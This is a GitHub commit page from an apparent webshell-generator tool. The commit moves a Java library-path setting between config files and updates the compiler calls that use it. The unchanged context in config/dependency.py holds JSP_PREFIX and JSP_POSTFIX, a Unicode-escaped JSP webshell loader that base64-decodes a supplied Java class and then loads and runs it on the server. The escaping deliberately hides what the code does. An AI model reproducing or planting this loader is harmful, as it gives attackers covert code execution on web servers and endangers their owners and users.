Skip to content

Commit

Permalink
Update optimize the structure
Browse files Browse the repository at this point in the history
  • Loading branch information
hosch3n committed Sep 9, 2022
1 parent 794ab8e commit 501d36b
Show file tree
Hide file tree
Showing 3 changed files with 4 additions and 3 deletions.
2 changes: 2 additions & 0 deletions config/dependency.py
Original file line number Diff line number Diff line change
Expand Up @@ -223,6 +223,8 @@
7: "key",
}

JAVA_LIB_PATH = r'"lib/*"'

JSP_PREFIX = r"""<%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u0020\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0029\u0020\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0020\u0030\u002c\u0020\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u0072\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0073\u0074\u0072\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0042\u0061\u0073\u0065\u0036\u0034\u0022\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0073\u0074\u0072\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0065\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u007d%><%\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0022"""
JSP_POSTFIX = r"""\u0022\u003b\u0069\u0066\u0020\u0028\u0063\u006c\u0073\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0063\u006c\u0073\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u007d%>"""

Expand Down
1 change: 0 additions & 1 deletion config/environment.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,5 @@
generate_script = False

java_compiler_path = r"~/jdk1.7.0_80/bin/javac"
java_lib_path = r'"lib/*"'

dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
4 changes: 2 additions & 2 deletions generator.py
Original file line number Diff line number Diff line change
Expand Up @@ -44,7 +44,7 @@ def b64file(file_name):
print(f" {src_dst}")

p = subprocess.Popen(
f"{java_compiler_path} -cp {java_lib_path} {src_dst}",shell=True,
f"{java_compiler_path} -cp {JAVA_LIB_PATH} {src_dst}",shell=True,
stdout=subprocess.PIPE,stderr=subprocess.STDOUT
)
sleep(1)
Expand Down Expand Up @@ -112,7 +112,7 @@ def generator(options):
if auto_build:
compiler_path = eval(f"{language_name}_compiler_path")
p = subprocess.Popen(
f"{compiler_path} -cp {java_lib_path} {src_dst}",shell=True,
f"{compiler_path} -cp {JAVA_LIB_PATH} {src_dst}",shell=True,
stdout=subprocess.PIPE,stderr=subprocess.STDOUT
)
sleep(1)
Expand Down

0 comments on commit 501d36b

Please sign in to comment.